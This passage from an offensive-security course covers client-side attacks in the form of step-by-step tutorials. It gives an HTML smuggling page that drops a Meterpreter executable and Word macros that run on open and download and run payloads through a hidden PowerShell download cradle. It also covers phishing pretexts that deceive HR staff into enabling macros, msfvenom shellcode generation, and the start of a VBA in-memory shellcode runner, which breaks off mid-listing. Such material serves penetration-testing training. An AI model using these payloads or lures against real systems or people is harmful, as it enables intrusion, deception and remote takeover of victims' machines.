Alternatively, we could wrap each line in quotes.

Now let's put everything together. First, our Base64 code is placed
into an array buffer, byte-by-byte. We'll then place the array buffer
into our Blob. Next, we'll create a hidden "a" tag. The data from our
Blob is then moved to the href reference of our "a" tag. Our Blob code
in the href is given the file name of 'msfnonstaged.exe'. Finally, a
click action is performed to download our file. The complete webpage
used to trigger the HTML smuggling with the Meterpreter executable is
given below:

<html>
    <body>
        <script>
          function base64ToArrayBuffer(base64) {
    		  var binary_string = window.atob(base64);
    		  var len = binary_string.length;
    		  var bytes = new Uint8Array( len );
    		  for (var i = 0; i < len; i++) { bytes[i] = binary_string.charCodeAt(i); }
    		  return bytes.buffer;
      		}
      		
      		var file ='TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAA...
      		var data = base64ToArrayBuffer(file);
      		var blob = new Blob([data], {type: 'octet/stream'});
      		var fileName = 'msfstaged.exe';
      		
      		var a = document.createElement('a');
      		document.body.appendChild(a);
      		a.style = 'display: none';
      		var url = window.URL.createObjectURL(blob);
      		a.href = url;
      		a.download = fileName;
      		a.click();
      		window.URL.revokeObjectURL(url);
        </script>
    </body>
</html>

Listing 15 - Complete JavaScript code to
trigger HTML smuggling

After saving the webpage to the web root of our Apache server,
we can browse to it using Google Chrome from the Windows 10
victim machine. Just browsing the file will cause a trigger to
download the executable. Unfortunately, a warning may be displayed
due to the potentially unsafe file format, as shown in Figure

Note that we chose to browse to the HTML file with Google Chrome
since it supports window.URL.createObjectURL. This technique must be
modified to work against browsers like Internet Explorer and Microsoft
Edge.

Figure 1: Meterpreter executable is downloaded through HTML smuggling

This warning may appear because the attachment is saved as an
executable. We will ignore this warning and download and run it
anyway.

The reason this happens is because the executable originated
from a download through a browser. When that happens, it is marked
as such in Windows and the SmartScreen[59] feature tries to
block execution. We must click More info followed by Run anyway to
execute it.

After running the new executable in the Downloads folder, we
obtain a reverse Meterpreter shell using the multi/handler.

msf5 exploit(multi/handler) > exploit

[*] Started HTTPS reverse handler on https://192.168.119.120:443
[*] https://192.168.119.120:443 handling request from 192.168.120.11; (UUID: kh1ubovt) Staging x64 payload (207449 bytes) ...
[*] Meterpreter session 2 opened (192.168.119.120:443 -> 192.168.120.11:49697)

meterpreter >

Listing 16 - Meterpreter shell from the
executable downloaded through HTML smuggling

Exercises

  1. Repeat the HTML smuggling to trigger a download of a Meterpreter
    payload in a file format of your choosing.
  2. Modify the smuggling code to also use the
    window.navigator.msSaveBlob[60]^,[61] method to make
    the technique work with Microsoft Edge as well.

Phishing with Microsoft Office

So far our attacks required direct interaction with the victim, who
must either download a file or visit a malicious site. These attacks
demonstrated common concepts that work in client-side attacks,
including the ability to automatically trigger a malicious file
download.

In this section, we'll turn our attention to another
commonly-exploited client-side attack vector: Microsoft Office
applications.

Microsoft Office is a very popular software suite employed by the
majority of organizations and corporations. It comes in two variants,
Office 365, which is continuously updated and used for online storage,
and various standalone versions like Office 2016.

Due to its popularity, Office applications are a prime target
for phishing since victims tend to trust them. In fact, an annual
Cybersecurity report released by Cisco in 2018[62] reported that
Office was the target of 38% of all email phishing attacks.

Let's explore this popular attack vector, leveraged through the
Visual Basic for Applications (VBA)[63] embedded programming
language.

Installing Microsoft Office

Before we can start abusing Microsoft Office, we must install it on
the Windows 10 victim VM.

We do this by navigating to C:\installs\Office2016.img in
File Explorer and double-clicking it. This will load the file as a
virtual CD and allow us to start the install from Setup.exe
as shown in Figure 2.

Figure 2: Microsoft Office 2016 installer

Once the installation is complete, we press Close on the splash
screen to exit the installer and open Microsoft Word from the
start menu. Once Microsoft Word opens, a popup as shown in Figure
3 will appear. We can close it by clicking the
highlighted cross in the upper-right corner to start the 7-day trial.

Figure 3: Product key popup

As the last step, a license agreement popup is shown and must be
accepted by pressing Accept and start Word as shown in Figure
4.

Figure 4: Accept license agreement

With Microsoft Office, and in particular Microsoft Word, installed and
configured we can start to investigate how it can be abused for client
side code execution.

Exercise

  1. Install Microsoft Office on your Windows 10 client VM.

Introduction to VBA

In this module, we'll discuss the basics of VBA, along with the
embedded security mechanisms of Microsoft Office.

We'll begin by creating our first macro, which will include a few
conditional statements and message boxes. Then we'll try to run a
command prompt from MS Word, with the help of Windows Script Host.

To begin our development, we'll open Microsoft Word on the Windows 10
victim machine and create a new document. We can access the Macro menu
by navigating to the View tab and selecting Macros as shown in
Figure 5.

In this module, we are creating the macro and Office documents on
the victim machine, but in a real penetration test, this would be done
on a local development box and not on a compromised host.

Figure 5: Macros menu in Microsoft Word

From the Macros dialog window, we must choose the current document
from the drop down menu. For an unnamed document this is called
"Document1 (document)". Verify this to ensure that the VBA code is
only embedded in this document, otherwise the VBA code will be saved
to our global template.

Figure 6: Selecting macros in the current document

After selecting the current document, we'll enter a name for the
macro. In this example, we'll name the macro "MyMacro" and then select
Create. This will launch the VBA editor where we can run and debug
the code.

Figure 7: VBA editor in Microsoft Word

When we create a macro, the editor automatically creates a small
starting code segment as shown in Figure 7.
The important keyword in the small code segment is Sub
MyMacro
,[64] which defines the beginning of a method called
"MyMacro" while End Sub ends the method. Note that in VBA, a method
cannot return values to its caller, but a Function (bracketed with
keywords like "Function MyMacro"" and "End Function") can.

Variables are very useful when programming and like many other
programming languages, VBA requires that they be declared before
use. This is done through the Dim[65] keyword with two other
parameters; the name of the variable and its datatype.[66] Let's
declare a few sample variables (Listing 17):

Dim myString As String
Dim myLong As Long
Dim myPointer As LongPtr

Listing 17 - Declaring variables of different
types in VBA

In the example above, we have used three very common data types:
String, Long, and LongPtr. These data types directly translate to a
unicode string, a 64-bit integer, and a memory pointer, respectively.
They represent the operating system's native data types and are
commonly used in languages such as C or C++.

Now that we know how to declare variables, we can use and manipulate them with
flow statements. These include the If and Else statements[67]
as illustrated in Listing 18 and the For[68]
loop as shown in Listing 19. Let's explore these in
more detail.

The If and Else statements are complimented by the Then and End
If
keywords to generate a complete branching statement. When an If
condition is met, the Then condition is executed, otherwise the
Else condition is executed. Once all conditions are evaluated, the
End If exits the branching condition.

In the example below, we'll have our macro check the value of a
variable and based on the result, display the appropriate built-in
MsgBox[69] function.

Sub MyMacro()

Dim myLong As Long

myLong = 1

If myLong < 5 Then
    MsgBox ("True")
Else
    MsgBox ("False")
End If

End Sub

Listing 18 - If and Else statements in VBA

To execute the macro we either click the "Run Macro" button or press
%.

Figure 8: Run Macro button

This macro will display a "True" message box since the myLong
variable is less than five.

Next, we'll explore the For loop, which increments a counter
through the Next keyword. This is illustrated below in Listing
19.

Sub MyMacro()

For counter = 1 To 3
    MsgBox ("Alert")
Next counter

End Sub

Listing 19 - For loop in VBA

The For loop will read the counter three times and each time it
reaches the Next keyword, it will increment the value of counter by
one. The execution of this macro will present three "Alert" message
boxes.

Now that we have briefly discussed custom methods and statements,
we'll switch our attention to our ultimate goal: making the
victim execute our custom macro. Since our victim will likely not
do this willingly, we'll need to leverage existing methods like
Document_Open()[70] and AutoOpen(),[71] both of
which will execute when the Word document is opened.

There are some differences between the various Office applications
utilization of VBA. For example, Document_Open() is called
Workbook_Open() in Excel.

In order for this to work, we must save our document
in a Macro-Enabled format such as .doc or
.docm.[72] The newer .docx will not store
macros.

To test out this functionality, we'll use a very simple macro as shown
in Listing 20.

Sub Document_Open()
    MyMacro
End Sub

Sub AutoOpen()
    MyMacro
End Sub

Sub MyMacro()
    MsgBox ("This is a macro test")
End Sub

Listing 20 - Simple Word Macro that
automatically executes

This example uses both Document_Open and AutoOpen for redundancy.

We'll save the document in the legacy .doc format (also
called Word 97-2003 Document) and close it.

Now that the document is saved, we can try opening it again. However,
we are presented with a security warning banner instead of our message
box output, as shown in Figure 9.

Figure 9: Macro security warning in Microsoft Word

If we press the Enable Content button, the macro will execute and
the message box will appear. This is the default security setting
of any Office application. This means that when we launch this
client-side attack, we must somehow persuade the victim to both open
the document and enable the macro.

We can inspect these security settings by navigating to File >
Options > Trust Center and opening Trust Center Settings:

Figure 10: Trust Center in Microsoft Word

Within Trust Center, the default security setting is to "Disable all
macros with notification":

Figure 11: Macro Settings in Trust Center

The Protected View options describe a sandbox feature introduced in
Microsoft Office 2010 that is enabled when documents originate from
the Internet.

Figure 12: Protected View in Trust Center

When Protected View is enabled, macros are disabled, external images
are blocked, and the user is presented with an additional warning
message as shown in Figure 13.

Figure 13: Protected View security warning in Microsoft Word

This complicates our situation since our client-side attack must trick
the user into also turning off Protected View when the document is
opened. We'll address this shortly.

To wrap up this section, we'll demonstrate how to use VBA to launch an
external application like cmd.exe. This will serve as a foundation for
other techniques we will use in the rest of the course.

The first and simplest technique leverages the VBA Shell[73]
function, which takes two arguments. The first is the path and name of
the application to launch along with any arguments. The second is the
WindowStyle, which sets the program's window style. As attackers,
the vbHide value or its numerical equivalent (0) is the most
interesting as it will hide the window of the program launched.

In the example below, as soon as the victim enables macros, we will
launch a command prompt with a hidden window.

Sub Document_Open()
    MyMacro
End Sub

Sub AutoOpen()
    MyMacro
End Sub

Sub MyMacro()
    Dim str As String
    str = "cmd.exe"
    Shell str, vbHide
End Sub

Listing 21 - Macro to execute cmd from the
Shell method

Saving the macro and reopening the Word document will run the macro
without any security warnings, because we already enabled the macros
on this document. If we rename the document, the security warning will
reappear.

Since the command prompt was opened as a hidden window, it is
not displayed, but we can verify that it is running. We can use
Process Explorer from SysInternals[74] (located in the
C:\Tools folder) to list information about running processes
and which handles and DLLs they have opened or loaded. In our case,
running it will list cmd.exe as a child process of WINWORD.EXE.

Figure 14: Cmd.exe as child process of Microsoft Word

We can also use Windows Script Host (WSH)[75] to launch a shell.
To do this, we'll invoke the CreateObject[76] method to
create a WSH shell, and from there we can call the Run method.[77]
While this might sound complicated, it is relatively simple as
displayed in Listing 22.

Sub Document_Open()
    MyMacro
End Sub

Sub AutoOpen()
    MyMacro
End Sub

Sub MyMacro()
    Dim str As String
    str = "cmd.exe"
    CreateObject("Wscript.Shell").Run str, 0
End Sub

Listing 22 - Macro execute cmd from Windows
Script Host

In the listing above, the call to CreateObject returns the WSH
object, from which we invoke the Run method, supplying the path and
name of the application to execute along with the vbHide window style
(0). Executing the Macro will once again open cmd.exe as a hidden
process.

In this section we learned the basics of VBA and Microsoft Office
macros. We discussed the If statement and For loops. We also
examined the Trust Center and discussed the different file extensions
needed to save macros. We also briefly discussed how we can use VBA
to execute other applications. In the next section, we will build upon
this to learn how to execute Meterpreter shellcode.

Exercises

  1. Experiment with VBA programming basics by creating a small macro
    that prints the current username and computer name 5 times using the
    Environ$ function.
  2. Create an Excel macro that runs when opening an Excel spreadsheet
    and executes cmd.exe using Workbook_Open.[78]

Let PowerShell Help Us

So far, we have focused on Microsoft Office and discussed the very basic mechanics
of VBA macros. Next, we'll discuss how we can use the extremely
powerful and flexible PowerShell environment together with phishing
attacks using Word or Excel documents.

As discussed in the previous section, VBA is a compiled language that
makes use of types. On the other hand, PowerShell is compiled and
executed on the fly through the .NET framework, generally does not use
types and offers more flexibility.

To declare a variable in PowerShell, we simply use the dollar sign
($) character. PowerShell control logic such as branching statements
and loops follow similar syntax as most other scripting languages.
The biggest syntactical difference is in comparisons. PowerShell
does not use the typical == or != syntax but instead uses -eq,
-ne, and similar.[79]

Since PowerShell has access to the .NET framework, we can easily
implement specialized techniques such as download cradles to download
content (like second stage payloads) from external web servers. The
most commonly used variant is the Net.WebClient class.[80]
By instantiating an object from this class, we can call the
DownloadFile[81] method to download any file from a web
server to the victim.

In the following example, we'll show how to invoke the DownloadFile
method. We'll start by assembling a full script and then reduce it to
a single one-liner.

DownloadFile takes two arguments: the URL of the file to be
downloaded and the output filename. The entire download procedure
can be written in just four lines of PowerShell, as shown in Listing
23.

$url = "http://192.168.119.120/msfstaged.exe"
$out = "msfstaged.exe"
$wc = New-Object Net.WebClient
$wc.DownloadFile($url, $out)

Listing 23 - PowerShell code to download
Meterpreter executable

First, we created a variable for the file we want to download, then
a variable for the name of the local file. Next, we instantiated the
Net.WebClient class to create a download cradle from which we then invoke
the DownloadFile method to download the file. In this case, we used
the same staged Meterpreter executable we created earlier.

Alternatively, the four lines can be compressed into a single
one-liner:

(New-Object System.Net.WebClient).DownloadFile('http://192.168.119.120/msfstaged.exe', 'msfstaged.exe')

Listing 24 - PowerShell one-liner to
download Meterpreter executable

Let's embed this into our Word macro using VBA and have
PowerShell do the heavy lifting for us. We will slowly build it here,
piece by piece, and then review the completed code.

Most PowerShell download cradles use HTTP or HTTPS, but it is
possible to make a PowerShell download cradle[82] that uses TXT
records[83] and a DNS transport.

As an overview, we'll set up a download cradle by converting our
PowerShell string to work in VBA. Then we will give the system time to
download the file and finally we will execute the file.

Let's start writing our VBA code. The first step is to declare
our string variable and fill that string with the code of our
PowerShell download cradle. Next, we'll use the Shell method
to start PowerShell with the one-liner as an argument. We'll then
instruct the Shell method to run the code with the output hidden
from the user.

The code segment shown in Listing 25 will
download the file to our victim's machine:

Dim str As String
str = "powershell (New-Object System.Net.WebClient).DownloadFile('http://192.168.119.120/msfstaged.exe', 'msfstaged.exe')"
Shell str, vbHide

Listing 25 - VBA code to invoke the
PowerShell download cradle

Before executing this code, we must place the Meterpreter executable
(msfstaged.exe) on our Kali web server along with a
multi/handler listener.

To execute the Meterpreter executable through VBA, we must specify
the full path. Luckily, downloaded content will end up in the
current folder of the Word document and we can obtain the path name
with the ActiveDocument.Path[84] property as shown in Listing
26.

Dim exePath As String
exePath = ActiveDocument.Path + "\msfstaged.exe"

Listing 26 - Getting file path from
ActiveDocument.Path

Since we are downloading the Meterpreter executable from a web server
and the download time may vary, we must introduce a time delay. Unfortunately,
Microsoft Word does not have a wait or sleep VBA function like Excel,
so we'll implement a custom Wait method using a Do[85] loop and the
Now[86] and DateAdd[87] functions.

This will allow us to pass a Wait parameter (measured in seconds),
and pause the execution. To ensure that our Wait procedure does not
block Microsoft Word, each iteration calls DoEvents[88] to
allow processing of other actions.

To begin, we'll retrieve the current date and time with the Now
function and save it to the t variable. Then we'll use a Do loop,
which will work through the comparison declared in the Loop Until
statement.

Sub Wait(n As Long)
    Dim t As Date
    t = Now
    Do
        DoEvents
    Loop Until Now >= DateAdd("s", n, t)
End Sub

Listing 27 - VBA wait method using dates

This code will continue to loop until the comparison is true, which
happens when the current time (returned by Now) is greater than the
time returned by the DateAdd function. This function takes three
arguments: a string expression that represents the interval of time
("s"), the number of seconds to wait (n), and the current time (t).

Simply stated, "n" seconds are added to the time the loops starts
and the result is compared to the current time. Once "n" seconds have
passed, the loop completes.

With the Wait method implementation in place we just need to invoke
it and then execute the Meterpreter executable. To do that, we'll
again use the Shell function and call the exePath we created.

The complete VBA macro is shown below in Listing
28.

Sub Document_Open()
    MyMacro
End Sub

Sub AutoOpen()
    MyMacro
End Sub

Sub MyMacro()
    Dim str As String
    str = "powershell (New-Object System.Net.WebClient).DownloadFile('http://192.168.119.120/msfstaged.exe', 'msfstaged.exe')"
    Shell str, vbHide
    Dim exePath As String
    exePath = ActiveDocument.Path + "\msfstaged.exe"
    Wait (2)
    Shell exePath, vbHide

End Sub

Sub Wait(n As Long)
    Dim t As Date
    t = Now
    Do
        DoEvents
    Loop Until Now >= DateAdd("s", n, t)
End Sub

Listing 28 - Complete VBA macro to
download Meterpreter executable and execute it

Let's review what we did. We built a Word document that pulls the
Meterpreter executable from our web server when the document is opened
(and macros are enabled). We added a small time delay to allow the
file to completely download. We then executed the file hidden from the
user. This results in a reverse Meterpreter shell.

Exercises

  1. Replicate the Word macro to obtain a reverse shell. Implement it in
    Excel.
  2. Experiment with another PowerShell download cradle like
    Invoke-WebRequest.

Keeping Up Appearances

Now that we understand how to use a Word document and a macro to get
remote access on a client, we can turn our attention to the more human
element of getting the victim to actually execute it.

When performing a client-side phishing attack, we must deceive the
victim. In some cases, we must deceive them multiple times. For
example, we might need to convince them to open a file, enable options
(such as enabling macros), or browse to a given URL. All of this must
occur without alerting them to our malicious intent and action.

To do this, we must rely on pretexting. A pretext is essentially a
false motive. We will use this false motive in a social engineering
attack, essentially lying to our target to convince them to do
something they wouldn't normally do.

Phishing PreTexting

A phishing attack exploits a victim's behavior, leveraging their
curiosity or fear to encourage them to launch our payload despite
their better judgement. Popular mechanisms include job applications,
healthcare contract updates, invoices or human resources requests,
depending on the target organization and specific employees.

When using Microsoft Office in a phishing attack, an attacker will
typically present a document, state that the document is encrypted or
protected, and suggest that the user must Enable Editing and Enable
Content
to properly view the document.

This technique is used in the popular Quasat RAT[89] and Ursnif
Trojan[90] among others.

Once the user has opened the document, we should try to allay their
suspicions. If the document is poorly constructed, or seems like spam,
they may alert support personnel, which could compromise our attack.
It's best to avoid spelling and grammar mistakes and make sure the
content matches the style of the ruse. We should also make an effort
to make the document look legitimate by including product names and
logos the users likely know and trust such as Microsoft or encryption
standards like RSA.

In the example below, we'll propose that the attached job application
document is encrypted to protect its content in accordance with
GDPR[91] regulations. If the victim does not have a strong
technical background, these added terms and "tech magic" can make the
document seem more legitimate. In this case, we'll simply add some
random base64-encoded text and a note about GDPR compliance:

Figure 15: RSA encrypted job application

To improve the perception of legitimacy, we can also add an RSA logo
in the header as shown in Figure 16.

Figure 16: RSA encrypted job application

In this particular example, our victim works in human resources and
the target organization has posted an opening for a human resource
analyst. Because of this, we'll keep our document centered on this
pretext.

The bottom line is that we must keep up appearances to avoid alerting
the victim.

The Old Switcheroo

When the victim enables our content, they will expect to see our
"decrypted" content, in this case a resume. We also hope that the
victim will keep the document open long enough for our reverse shell
to connect. The best way to do this, and continue the deception, is to
present relevant and expected content.

Let's take a moment to focus on developing relevant content, which
varies based on our pretext. In our case, we are targeting an employee
in Human Resources, so we'll create an intriguing resume and include
other HR-related material.

To begin the development of our "decrypted" content, we'll create
a copy of this Word document, and delete the existing text content.
Next, we'll insert "decrypted" content, which will display when the
user enables macros. This content will include the simple fake CV
shown in Figure 17.

Figure 17: CV to take the place of the fake RSA encrypted text

With the text created, we'll mark it and navigate to Insert > Quick
Parts
> AutoTexts and Save Selection to AutoText Gallery:

Figure 18: Place the selected text in the AutoText gallery

In the Create New Building Block dialog box, we'll enter the name
"TheDoc":

Figure 19: Picking a name for the AutoText gallery entry

With the content stored, we can delete it from the main text area of
the document. Next, we'll copy the fake RSA encrypted text from the
original Word document and insert it into the main text area of this
document.

Now we'll need to edit the VBA macro, inserting commands that will
delete the fake RSA encrypted text and replace it with the fake CV
from the AutoText entry. Luckily, this is pretty simple.

The first step is to delete the fake RSA encrypted text through
the ActiveDocument.Content[92] property (which returns a
Range[93] object). Then we'll invoke the Select[94]
method to select the entire range of the ActiveDocument:

ActiveDocument.Content.Select

Listing 29 - Select the entire range of the
ActiveDocument

With the content of the ActiveDocument selected, we can call
Selection.Delete[95] to delete it.

Selection.Delete

Listing 30 - Delete text of current Word document
from VBA

Now that the text is deleted, we can insert the fake CV. We'll
reference the AutoText entries from the AttachedTemplate[96]
of the ActiveDocument. This gives us access to all of the
AutoTextEntries[97] where we can choose our inserted text
named "TheDoc".

To insert the text into the document, we'll invoke the
Insert[98] function to insert the text in the document.
Insert takes two arguments. The first sets the location of the
insert and the second sets the formatting in the inserted text, which
we will leave as the default RichText. We can combine this into a
VBA one-liner (which displays in the listing below as two lines):

ActiveDocument.AttachedTemplate.AutoTextEntries("TheDoc").Insert Where:=Selection.Range, RichText:=True

Listing 31 - Insert text from AutoText
gallery

Now that we have reviewed all the components of this macro, let's put
everything together. To review, we use Document_Open and AutoOpen
to guarantee that the macro will run when the document is opened and
the user enables macros. When the macro runs, the SubstitutePage
procedure selects all the text on the page, deletes it, and inserts
our fake CV. The goal of this is to trick the victim into believing
that they have decrypted our document.

We are now able to put together the final macro that performs text
replacement ("decryption"):

Sub Document_Open()
    SubstitutePage
End Sub

Sub AutoOpen()
    SubstitutePage
End Sub

Sub SubstitutePage()
    ActiveDocument.Content.Select
    Selection.Delete
    ActiveDocument.AttachedTemplate.AutoTextEntries("TheDoc").Insert Where:=Selection.Range, RichText:=True
End Sub

Listing 32 - Full macro to replace
visible content

Let's try this out. Opening the document will first show the
"encrypted" document and wait for the user to enable macros. Once they
do, the CV is "decrypted" and presented, as shown in the before and
after excerpts in Figure 20.

Figure 20: Pretext text before and after enabling macros

Although this scenario may seem far-fetched, this type of pretext is
often successful and we have used it many times to trick a victim into
disabling both Protected View and Macro security.

Exercises

  1. Create a convincing phishing pretext Word document for your
    organization or school that replaces text after enabling macros.
  2. Insert a procedure called MyMacro that downloads and executes a
    Meterpreter payload after the text has been switched.

Executing Shellcode in Word Memory

Now that we have a convincing document, let's improve our technical
tradecraft to avoid downloading an executable to the hard drive.
Currently, our malicious macro downloads a Meterpreter executable to
the hard drive and executes it. There are a couple of drawbacks to
this.

Our current tradecraft requires us to download an executable, which
may be flagged by network monitoring software or host-based network
monitoring. Secondly, we are storing the executable on the hard drive,
where it may be detected by antivirus software.

In this section, we'll modify our attack and execute the staged
Meterpreter payload directly in memory. This will be a slow process,
but we will learn valuable techniques along the way.

This concept exceeds the limits of VBA. This is partly due to the
fact that the staged Meterpreter payload is actually pure assembly
code that must be placed in a memory location and executed. Instead
of using pure VBA, we can leverage native Windows operating system
APIs[99] within VBA.

Calling Win32 APIs from VBA

Windows operating system APIs (or Win32 APIs) are located in
dynamic link libraries and run as unmanaged code. We'll use the
Declare[100] keyword to link to these APIs in VBA, providing
the name of the function, the DLL it resides in, the argument types,
and return value types. We will use a Private Declare, meaning that
this function will only be used in our local code.

In this example, we'll use the GetUserName[101] API. We
will build our declare function statement, and display the username
in a popup with MsgBox. The official documentation provided by
Microsoft on MSDN contains the function prototype shown in Listing
33. The documentation tells us the
maximum size of the username, along with the DLL it resides in
(Advapi32.dll). We can expand on that to declare the function
we want.

BOOL GetUserNameA(
  LPSTR   lpBuffer,
  LPDWORD pcbBuffer
);

Listing 33 - Function prototype of
GetUserName

The function arguments are described on MSDN as native C types and we
must translate these to their corresponding VBA data types. The first
argument is an output buffer of C type LPSTR which will contain the
current username. It can be supplied as a String in VBA.

Working out the conversion between C data types and VBA data types
can be tricky. Microsoft has documentation on MSDN[102]^,[103]
including some comparisons, but little official documentation
exists.

In C, the LPSTR is a pointer to a string. Similarly, the VBA
String object holds the pointer to a string, rather than the string
itself. For this reason we can pass our argument by value (with
ByVal[104]), since the expected types match.

The second argument (pcbBuffer) given in the function prototype as
a C type is a pointer or reference to an DWORD (LPDWORD). It is
the maximum size of the buffer that will contain the string. We may
substitute that with the VBA Long data type and pass it by reference
(ByRef[105]) to obtain a pointer in VBA. Finally, the output type
in C is a boolean (BOOL GetUserNameA), which we can translate into a
Long in VBA.

Now that we have explained all the components, let's put everything
together. We'll import our target function using Private Declare
and supply the Windows API name and its DLL location, along with our
arguments. The final Declare statement is given below. It must be
placed outside the procedure.

Private Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, ByRef nSize As Long) As Long

Listing 34 - Declaring and importing the
GetUserNameA Win32 API

With the function imported, we must declare three variables; the
return value, the output buffer, and the size of the output buffer.
As specified on MSDN, the maximum allowed length of a username is 256
characters so we'll create a 256-byte String called MyBuff and a
variable called MySize as a Long and set it to 256.

Function MyMacro()
  Dim res As Long
  Dim MyBuff As String * 256
  Dim MySize As Long
  MySize = 256
  
  res = GetUserName(MyBuff, MySize)
End Function

Listing 35 - Setting up arguments
and calling GetUserNameA

Before we can print the result, recall that MyBuff can contain
up to 256 characters but we do not know the length of the actual
username. Since a C string is terminated by a null byte, we'll use the
InStr[106] function to get the index of a null byte terminator in
the buffer, which marks the end of the string.

As shown in Listing 36, the
arguments for InStr are fairly straightforward. We defined the
starting location (setting it to "1" for the beginning of the
string), the string to search, and the search character (null
byte). This will return the location of the first null byte, and we
can subtract one from this number to get the string length.

Function MyMacro()
  Dim res As Long
  Dim MyBuff As String * 256
  Dim MySize As Long
  Dim strlen As Long
  MySize = 256
  
  res = GetUserName(MyBuff, MySize)
  strlen = InStr(1, MyBuff, vbNullChar) - 1
  MsgBox Left$(MyBuff, strlen)
End Function

Listing 36 - Returning the
result from GetUserNameA

Now that we have the length of the string, we will print the non-null
characters by using the Left[107] method as shown in the last
highlighted line of Listing 36.
Left creates a substring of its first argument with the size of its
second argument.

If we've called the Win32 API correctly, the macro will display
the desired username (with no trailing spaces) as shown in Figure
21.

Figure 21: MessageBox containing the username obtained through GetUserName

While this is obviously only a proof of concept, it shows that we
can call arbitrary Win32 APIs directly from VBA, which is required if
we want to execute shellcode from memory.

Exercises

  1. Replicate the call to GetUserName and return the answer.
  2. Import the Win32 MessageBoxA[108] API and call it using
    VBA.

VBA Shellcode Runner

Next, let's investigate a shellcode runner, a piece of code that
executes shellcode in memory. We'll build this in VBA.

The typical approach is to use three Win32 APIs from Kernel32.dll:
VirtualAlloc, RtlMoveMemory, and CreateThread.

We will use VirtualAlloc to allocate unmanaged memory that is
writable, readable, and executable. We'll then copy the shellcode
into the newly allocated memory with RtlMoveMemory, and create a new
execution thread in the process through CreateThread to execute the
shellcode. Let's inspect each of these Win32 APIs and reproduce them
in VBA.

Allocating memory through other Win32 APIs returns non-executable
memory due to the memory protection called Data Execution Prevention
(DEP)[109]

We'll take one API at a time, starting with VirtualAlloc.[110] MSDN
describes the following function prototype for VirtualAlloc:

LPVOID VirtualAlloc(
  LPVOID lpAddress,
  SIZE_T dwSize,
  DWORD  flAllocationType,
  DWORD  flProtect
);

Listing 37 - Function prototype for
VirtualAlloc

This API accepts four arguments. The first, lpAddress, is the
memory allocation address. If we leave this set to "0", the API will
choose the location. The dwSize argument indicates the size of the
allocation. Finally, flAllocationType and flProtect indicate the
allocation type and the memory protections, which we will come back
to.

The first argument and the return value are memory pointers that can
be represented by LongPtr in VBA. The remaining three arguments are
integers and can be translated to Long.

Let's declare these arguments in our first Declare statement (shown
in Listing 38):

Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr

Listing 38 - Function declaration for
VirtualAlloc

Now that we have our Declare statement, we need to figure out some of
the values we need. Since we don't yet know the size of our shellcode,
let's generate it first.

In order to generate the shellcode, we need to know the target
architecture. Obviously we are targeting a 64-bit Windows machine,
but Microsoft Word 2016 installs as 32-bit by default, so we will
generate 32-bit shellcode.

We'll use msfvenom to a generate shellcode formatted as vbapplication,
as the first stage of a Meterpreter shell.

Since we will be executing our shellcode inside the Word application,
we specify the EXITFUNC with a value of "thread" instead of
the default value of "process" to avoid closing Microsoft Word when
the shellcode exits.

kali@kali:~$ msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 EXITFUNC=thread -f vbapplication
...
Payload size: 575 bytes
Final size of vbapplication file: 1972 bytes
buf = Array(232,130,0,0,0,96,137,229,49,192,100,139,80,48,139,82,12,139,82,20,139,114,40,15,183,74,38,49,255,172,60,97,124,2,44,32,193,207,13,1,199,226,242,82,87,139,82,16,139,74,60,139,76,17,120,227,72,1,209,81,139,89,32,1,211,139,73,24,227,58,73,139,52,139,1,214,49,255,172,193, _
...
104,88,164,83,229,255,213,147,83,83,137,231,87,104,0,32,0,0,83,86,104,18,150,137,226,255,213,133,192,116,207,139,7,1,195,133,192,117,229,88,195,95,232,107,255,255,255,49,57,50,46,49,54,56,46,49,55,54,46,49,52,55,0,187,224,29,42,10,104,166,149,189,157,255,213,60,6,124,10,128, _
251,224,117,5,187,71,19,114,111,106,0,83,255,213)

Listing 39 - Generate shellcode in
vbapplication format

We'll add this array to our VBA code.

Next, we'll set the arguments for VirtualAlloc. The MSDN
documentation suggests that we should supply the value "0" as the
lpAddress, which will leave the memory allocation to the API. For
the second argument, dwSize, we could hardcode the size of our
shellcode based on the output from msfvenom, but it's better to set
it dynamically. This way, if we change our payload, we won't have
to change this value. To do this, we'll use the UBound[111]
function to get the size of the array (buf) containing the
shellcode.

For the third argument, we will use 0x3000, which equates to the
allocation type enums of MEM_COMMIT and MEM_RESERVE.[112]
This will make the operating system allocate the desired memory for us
and make it available. In VBA, this hex notation will be represented
as &H3000.

We'll set the last argument to &H40 (0x40), indicating that the memory
is readable, writable, and executable.

Our complete VirtualAlloc call is shown in Listing
40. Note that the Meterpreter array stored
in buf has been truncated for ease of display.

Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr

...

Dim buf As Variant
Dim addr As LongPtr

buf = Array(232, 130, 0, 0, 0, 96, 137...

addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)

Listing 40 - Calling VirtualAlloc from VBA

Now that we've allocated memory with VirtualAlloc, we must copy
the shellcode bytes into this memory location. This is done using the
RtlMoveMemory[113] function. MSDN describes this function prototype as:

VOID RtlMoveMemory(
  VOID UNALIGNED *Destination,
  VOID UNALIGNED *Source,
  SIZE_T         Length
);

Listing 41 - RtlMoveMemory function
prototype

This function takes three variables. The return value along with the
first argument may be translated to LongPtr, the second uses Any,
while the last argument may be translated to Long.

The Destination pointer points to the newly allocated buffer, which
is already a memory pointer, so it may be passed as-is. The Source
buffer will be the address of an element from the shellcode array, and
must be passed by reference, while the Length is passed by value.

Private Declare PtrSafe Function RtlMoveMemory Lib "KERNEL32" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr

Listing 42 - Declare statement for RtlMoveMemory

We'll use this API to loop over each element of the shellcode array
and create a byte-by-byte copy of our payload.

The loop condition uses the LBound[114] and UBound[111-1]
methods to find the first and last element of the array. This is
where our knowledge of For loops helps.

The code snippet is shown in Listing
43.

Private Declare PtrSafe Function RtlMoveMemory Lib "KERNEL32" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr

....

Dim counter As Long
Dim data As Long

For counter = LBound(buf) To UBound(buf)
    data = buf(counter)
